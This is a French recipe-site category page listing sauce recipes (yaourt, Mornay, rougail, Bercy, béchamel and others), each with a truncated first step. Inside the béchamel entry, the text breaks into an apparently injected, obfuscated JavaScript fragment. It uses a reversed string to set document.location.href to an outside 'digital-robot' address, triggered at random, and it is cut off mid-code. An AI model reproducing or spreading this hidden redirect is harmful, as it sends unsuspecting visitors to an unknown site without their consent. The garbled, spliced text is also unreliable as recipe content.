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Catégories : Abats , Boissons , Bouillons , Confiseries , Desserts , Fruits , Légumes

Catégorie : Sauces

Sauce salade au yaourt

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Écrasez les œufs avec une fourchette, ajoutez le yaourt, la moutarde, sel, poivre.

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Sauce Mornay

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Faites fondre le beurre dans une petite casserole, tout en remuant incorporez la farine, ajoutez ...

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Sauce rougail

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Quelques pincées de gingembre en poudre Pelez épépinez les tomates. Pelez, émincez les oignons.

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Sauce aux crabes

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Dans une petite casserole, versez la crème de coco. Portez à ébullition et incorporez la ...

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Sauce Bercy

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Dans une petite casserole avec le beurre ramolli et les échalotes tout en remuant, sans ...

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Beurre d’ail

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Pelez et coupez en deux la gousse d’ail, enlevez le germe.

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Beurre d’anchois

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Coupez en morceaux le beurre. Déposez dans un bol à mixeur avec les anchois.

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Sauce au roquefort

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Versez dans une petite casserole la crème fraîche épaisse avec le roquefort.

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Sauce aux champignons

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Grattez, essuyez et coupez en lamelles les champignons. Dans une poêle avec une noix de ...

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Sauce béchamel

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Dans une casserole faites fondre le beurre en ajoutant la farine tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay ...

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